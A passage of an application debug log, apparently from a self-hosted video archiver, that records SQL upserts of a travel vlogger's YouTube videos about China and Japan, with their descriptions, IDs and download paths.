(m0."source_id" = ?)) [~U[2026-07-31 14:42:45Z], 3] 17:58:12.416 [debug] QUERY OK source="media_items" db=8.4ms idle=1222.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Please check out Honglins channel https://www.youtube.com/@UC9cvxZKhyTPyrbfkRADh55g \n\nFor centuries, China's rivers have been vital to its survival. People from villages across the country used them to travel to the cities and sell their goods and wares. These rivers were once filled with thousands of boats carrying passengers in every direction. But today, China's road and highway network has become so vast and efficient that those boats became useless and went extinct.\n\nExcept one.\n\nWe found the last boat still operating for traders on the Yangtze River. But how is it surviving? Live streaming. The crew live stream the entire journey. Every second of it. And over 20,000 people tune in to watch. Many of them donate money. Enough that the boat runs for free.\n\nI wanted to document this boat. To find out whether this is truly a beautiful human story. Or a dystopian exploitation of the working class.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\nhttps://www.youtube.com/watch?v=k8tdg6v0FQo\n\nhttps://www.youtube.com/watch?v=EIlIbE9HuB4&t=378s\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #livestream #travel", "China's Working Class Is Live-Streaming To Survive", "179ff111-2122-4c01-8277-b6824a703308", "qYWhjW08-pc", 2174, false, "https://www.youtube.com/watch?v=qYWhjW08-pc", 1, "/downloads/shows/Mike Okay/Season 2026/s2026e073100 - China's Working Class Is Live-Streaming To Survive.mp4", false, false, false, 3, [], 98, ~U[2026-07-31 14:42:45Z], ~U[2026-08-20 00:58:12Z], ~U[2026-08-20 00:58:12Z], "Please check out Honglins channel https://www.youtube.com/@UC9cvxZKhyTPyrbfkRADh55g \n\nFor centuries, China's rivers have been vital to its survival. People from villages across the country used them to travel to the cities and sell their goods and wares. These rivers were once filled with thousands of boats carrying passengers in every direction. But today, China's road and highway network has become so vast and efficient that those boats became useless and went extinct.\n\nExcept one.\n\nWe found the last boat still operating for traders on the Yangtze River. But how is it surviving? Live streaming. The crew live stream the entire journey. Every second of it. And over 20,000 people tune in to watch. Many of them donate money. Enough that the boat runs for free.\n\nI wanted to document this boat. To find out whether this is truly a beautiful human story. Or a dystopian exploitation of the working class.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\nhttps://www.youtube.com/watch?v=k8tdg6v0FQo\n\nhttps://www.youtube.com/watch?v=EIlIbE9HuB4&t=378s\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #livestream #travel", "China's Working Class Is Live-Streaming To Survive", "qYWhjW08-pc", 2174, false, "https://www.youtube.com/watch?v=qYWhjW08-pc", "/downloads/shows/Mike Okay/Season 2026/s2026e073100 - China's Working Class Is Live-Streaming To Survive.mp4", false, 3, ~U[2026-07-31 14:42:45Z]] 17:58:12.417 [debug] QUERY OK source="sources" db=0.1ms idle=312.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:58:12.417 [debug] QUERY OK source="media_items" db=0.2ms idle=10.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-17 15:59:10Z], 3] 17:58:12.420 [debug] QUERY OK source="media_items" db=2.0ms idle=10.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nThe city of Chongqing is essentially built into a mountain. Due to its terrain the city needed manpower to transport its goods from place to place, since vehicles couldn’t tackle the hills. The bang bang men, named after the bamboo sticks placed along their shoulders used to carry up to 50kg on each side, were once 500,000 strong. Today there are less than 2000 of them.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #bangbang #travel", "China's Most Viral City Is Hiding a Dying Job", "a0ab1588-07a4-4b85-b247-148ca678907b", "k8tdg6v0FQo", 2334, false, "https://www.youtube.com/watch?v=k8tdg6v0FQo", 2, "/downloads/shows/Mike Okay/Season 2026/s2026e071700 - China's Most Viral City Is Hiding a Dying Job.mp4", false, false, false, 3, [], 98, ~U[2026-07-17 15:59:10Z], ~U[2026-08-20 00:58:12Z], ~U[2026-08-20 00:58:12Z], "Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nThe city of Chongqing is essentially built into a mountain. Due to its terrain the city needed manpower to transport its goods from place to place, since vehicles couldn’t tackle the hills. The bang bang men, named after the bamboo sticks placed along their shoulders used to carry up to 50kg on each side, were once 500,000 strong. Today there are less than 2000 of them.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #bangbang #travel", "China's Most Viral City Is Hiding a Dying Job", "k8tdg6v0FQo", 2334, false, "https://www.youtube.com/watch?v=k8tdg6v0FQo", "/downloads/shows/Mike Okay/Season 2026/s2026e071700 - China's Most Viral City Is Hiding a Dying Job.mp4", false, 3, ~U[2026-07-17 15:59:10Z]] 17:58:12.420 [debug] QUERY OK source="sources" db=0.1ms idle=12.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:58:12.421 [debug] QUERY OK source="media_items" db=0.2ms idle=3.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-26 19:42:50Z], 3] 17:58:12.422 [debug] QUERY OK source="media_items" db=0.7ms idle=3.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nCheck out Honglin's Channel here! - https://www.youtube.com/@Honglin65\n\nThe older I get the more interested I become in solitude. Living alone. \nToday I explore that interest. In China.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #lonely #travel", "China's Loneliest Man Shows Me His World", "da8acc44-7bc9-4e0a-9d5a-45995559b579", "7sCIBpshaCI", 2295, false, "https://www.youtube.com/watch?v=7sCIBpshaCI", 3, "/downloads/shows/Mike Okay/Season 2026/s2026e062600 - China's Loneliest Man Shows Me His World.mp4", false, false, false, 3, [], 98, ~U[2026-06-26 19:42:50Z], ~U[2026-08-20 00:58:12Z], ~U[2026-08-20 00:58:12Z], "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nCheck out Honglin's Channel here! - https://www.youtube.com/@Honglin65\n\nThe older I get the more interested I become in solitude. Living alone. \nToday I explore that interest. In China.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #lonely #travel", "China's Loneliest Man Shows Me His World", "7sCIBpshaCI", 2295, false, "https://www.youtube.com/watch?v=7sCIBpshaCI", "/downloads/shows/Mike Okay/Season 2026/s2026e062600 - China's Loneliest Man Shows Me His World.mp4", false, 3, ~U[2026-06-26 19:42:50Z]] 17:58:12.422 [debug] QUERY OK source="sources" db=0.2ms idle=4.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:58:12.422 [debug] QUERY OK source="media_items" db=0.2ms idle=2.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-19 15:55:20Z], 3] 17:58:12.423 [debug] QUERY OK source="media_items" db=0.6ms idle=2.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Thanks to my buddy @McMungoTV for the help with this one!\n\nGo check out https://www.youtube.com/@UCHASrbCS-niYRn-Y3WX38pA \n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #redarmy #travel", "Inside China's Insane Propaganda Theme Park", "5c4a1dc8-20c3-45c4-8af5-ae61b6f057e9", "MEDlM-cA1Z8", 1064, false, "https://www.youtube.com/watch?v=MEDlM-cA1Z8", 4, "/downloads/shows/Mike Okay/Season 2026/s2026e061900 - Inside China's Insane Propaganda Theme Park.mp4", false, false, false, 3, [], 98, ~U[2026-06-19 15:55:20Z], ~U[2026-08-20 00:58:12Z], ~U[2026-08-20 00:58:12Z], "Thanks to my buddy @McMungoTV for the help with this one!\n\nGo check out https://www.youtube.com/@UCHASrbCS-niYRn-Y3WX38pA \n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #redarmy #travel", "Inside China's Insane Propaganda Theme Park", "MEDlM-cA1Z8", 1064, false, "https://www.youtube.com/watch?v=MEDlM-cA1Z8", "/downloads/shows/Mike Okay/Season 2026/s2026e061900 - Inside China's Insane Propaganda Theme Park.mp4", false, 3, ~U[2026-06-19 15:55:20Z]] 17:58:12.424 [debug] QUERY OK source="sources" db=0.1ms idle=3.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:58:12.424 [debug] QUERY OK source="media_items" db=0.2ms idle=2.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-12 16:37:29Z], 3] 17:58:12.433 [debug] QUERY OK source="media_items" db=8.1ms idle=2.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://youtu.be/iXsCze3HtDQ?is=vKHYGZhMrTxWLNm6 \n\nCome with me on a journey to discover a cave village in China. YES! an actual village built into a cave. But who lived there? And why did they leave. Find out.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #cave #travel", "Finding China’s Lost Cave Village (30 years abandoned)", "b1798567-da35-4302-96f3-3c46ee4792a2", "B_S4NGLGbIM", 2055, false, "https://www.youtube.com/watch?v=B_S4NGLGbIM", 5, "/downloads/shows/Mike Okay/Season 2026/s2026e061200 - Finding China’s Lost Cave Village (30 years abandoned).mp4", false, false, false, 3, [], 98, ~U[2026-06-12 16:37:29Z], ~U[2026-08-20 00:58:12Z], ~U[2026-08-20 00:58:12Z], "https://youtu.be/iXsCze3HtDQ?is=vKHYGZhMrTxWLNm6 \n\nCome with me on a journey to discover a cave village in China. YES! an actual village built into a cave. But who lived there? And why did they leave. Find out.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #cave #travel", "Finding China’s Lost Cave Village (30 years abandoned)", "B_S4NGLGbIM", 2055, false, "https://www.youtube.com/watch?v=B_S4NGLGbIM", "/downloads/shows/Mike Okay/Season 2026/s2026e061200 - Finding China’s Lost Cave Village (30 years abandoned).mp4", false, 3, ~U[2026-06-12 16:37:29Z]] 17:58:12.433 [debug] QUERY OK source="sources" db=0.2ms idle=10.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:58:12.434 [debug] QUERY OK source="media_items" db=0.2ms idle=10.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-29 14:56:32Z], 3] 17:58:12.435 [debug] QUERY OK source="media_items" db=0.7ms idle=10.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nSakurajima erupts hundreds of times a year. Ash falls like snow. Roads are built to flood with lava. And 4,500 people choose to live here anyway.\nI went to find out why.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#japan #volcano #travel", "4,000 People Live On Japan's Most Active Volcano", "6ac08b1c-395b-4648-8232-cf0894847894", "EIlIbE9HuB4", 1894, false, "https://www.youtube.com/watch?v=EIlIbE9HuB4", 6, "/downloads/shows/Mike Okay/Season 2026/s2026e052900 - 4,000 People Live On Japan's Most Active Volcano.mp4", false, false, false, 3, [], 98, ~U[2026-05-29 14:56:32Z], ~U[2026-08-20 00:58:12Z], ~U[2026-08-20 00:58:12Z], "Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nSakurajima erupts hundreds of times a year. Ash falls like snow. Roads are built to flood with lava. And 4,500 people choose to live here anyway.\nI went to find out why.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#japan #volcano #travel", "4,000 People Live On Japan's Most Active Volcano", "EIlIbE9HuB4", 1894, false, "https://www.youtube.com/watch?v=EIlIbE9HuB4", "/downloads/shows/Mike Okay/Season 2026/s2026e052900 - 4,000 People Live On Japan's Most Active Volcano.mp4", false, 3, ~U[2026-05-29 14:56:32Z]] 17:58:12.435 [debug] QUERY OK source="sources" db=0.2ms idle=10.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:58:12.436 [debug] QUERY OK source="media_items" db=0.3ms idle=2.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-22 16:10:43Z], 3] 17:58:12.437 [debug] QUERY OK source="media_items" db=0.7ms idle=2.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nJapan's Fugu fish spent most of it commercial existence being totally illegal. And that because, if prepared incorrectly, it will slowly kill you if eaten. Let's go eat it.\n\nJoin me as I hitchhike 250km through western Honshu. Cheeseburgers. Fighter jets. 300 million year old limestone plateaus. To reach Shimonoseki to learn about and POSSIBLY eat... The World's Most Poisonous Fish... \n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://youtu.be/oiGyXylltRE \n\nhttps://youtu.be/bBxtc-Tskto\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/ \n\n#japan #fugu #hitchhiking #travel", "Travelling Across Japan To Poison Myself", "ed2d9bb6-60e1-4460-862b-f835154aa81e", "bjb-24XMa1g", 2331, false, "https://www.youtube.com/watch?v=bjb-24XMa1g", 7, "/downloads/shows/Mike Okay/Season 2026/s2026e052200 - Travelling Across Japan To Poison Myself.mp4", false, false, false, 3, [], 98, ~U[2026-05-22 16:10:43Z], ~U[2026-08-20 00:58:12Z], ~U[2026-08-20 00:58:12Z], "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nJapan's Fugu fish spent most of it commercial existence being totally illegal. And that because, if prepared incorrectly, it will slowly kill you if eaten. Let's go eat it.\n\nJoin me as I hitchhike 250km through western Honshu. Cheeseburgers. Fighter jets. 300 million year old limestone plateaus. To reach Shimonoseki to learn about and POSSIBLY eat... The World's Most Poisonous Fish... \n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://youtu.be/oiGyXylltRE \n\nhttps://youtu.be/bBxtc-Tskto\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/ \n\n#japan #fugu #hitchhiking #travel", "Travelling Across Japan To Poison Myself", "bjb-24XMa1g", 2331, false, "https://www.youtube.com/watch?v=bjb-24XMa1g", "/downloads/shows/Mike Okay/Season 2026/s2026e052200 - Travelling Across Japan To Poison Myself.mp4", false, 3, ~U[2026-05-22 16:10:43Z]] 17:58:12.438 [debug] QUERY OK source="sources" db=0.2ms idle=3.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:58:12.438 [debug] QUERY OK source="media_items" db=0.2ms idle=2.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-04-24 14:29:43Z], 3] 17:58:12.439 [debug] QUERY OK source="media_items" db=1.0ms idle=2.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Right. You gotta be patient with me on this one. I'm trying to make a point and I spend half the trip figuring out how to make that point. Basically many shrines and traditions in Japan need to destroy and rebuild in order to survive. Something like that. It's a pretty vague link. But i think i achieve it. Watch till the end to find out! That's called retention. You have to watch the whole video in order to get what's called a payout. Payout or payoff? I can't remember. Anyway here's an SEO optimised description I got AI to write for to put here somewhere: \n\nJapan has survived for over 2,000 years — but how? I travel to Japan's sacred Ise-Shima Peninsula to find the answer, and what I discover changes the way I see the whole country. From the ancient Ise Jingu shrine — rebuilt from scratch every 20 years for over a millennium — to the Ama divers of Osatsu, women who have been free diving to the bottom of the sea on a single breath for 2,000 years, this video explores what it really means to survive. I camp overnight at the sacred Meoto Iwa — the wedded rocks — to catch the sunrise between them at dawn, and sit down to eat with Japan's last generation of sea women in a traditional Ama hut. Two ancient traditions, both 2,000 years old. One figured out how to last forever. The other is almost gone. If you're interested in Japan travel, Japanese mythology, Japanese culture, hidden Japan, Ise Jingu shrine, Ama divers, Ise-Shima, rural Japan, Japan off the beaten path, or the side of Japan that social media never shows you — this video is for you. Part 2 of my Japan hitchhiking series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://youtu.be/oiGyXylltRE \n\nhttps://youtu.be/bBxtc-Tskto\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "Japan Is Losing Something It Can Never Get Back", "83d92069-7b71-4c95-9b01-94629a22efe7", "CvIFRZqadIU", 2112, false, "https://www.youtube.com/watch?v=CvIFRZqadIU", 8, "/downloads/shows/Mike Okay/Season 2026/s2026e042400 - Japan Is Losing Something It Can Never Get Back.mp4", false, false, false, 3, [], 98, ~U[2026-04-24 14:29:43Z], ~U[2026-08-20 00:58:12Z], ~U[2026-08-20 00:58:12Z], "Right. You gotta be patient with me on this one. I'm trying to make a point and I spend half the trip figuring out how to make that point. Basically many shrines and traditions in Japan need to destroy and rebuild in order to survive. Something like that. It's a pretty vague link. But i think i achieve it. Watch till the end to find out! That's called retention. You have to watch the whole video in order to get what's called a payout. Payout or payoff? I can't remember. Anyway here's an SEO optimised description I got AI to write for to put here somewhere: \n\nJapan has survived for over 2,000 years — but how? I travel to Japan's sacred Ise-Shima Peninsula to find the answer, and what I discover changes the way I see the whole country. From the ancient Ise Jingu shrine — rebuilt from scratch every 20 years for over a millennium — to the Ama divers of Osatsu, women who have been free diving to the bottom of the sea on a single breath for 2,000 years, this video explores what it really means to survive. I camp overnight at the sacred Meoto Iwa — the wedded rocks — to catch the sunrise between them at dawn, and sit down to eat with Japan's last generation of sea women in a traditional Ama hut. Two ancient traditions, both 2,000 years old. One figured out how to last forever. The other is almost gone. If you're interested in Japan travel, Japanese mythology, Japanese culture, hidden Japan, Ise Jingu shrine, Ama divers, Ise-Shima, rural Japan, Japan off the beaten path, or the side of Japan that social media never shows you — this video is for you. Part 2 of my Japan hitchhiking series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://youtu.be/oiGyXylltRE \n\nhttps://youtu.be/bBxtc-Tskto\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "Japan Is Losing Something It Can 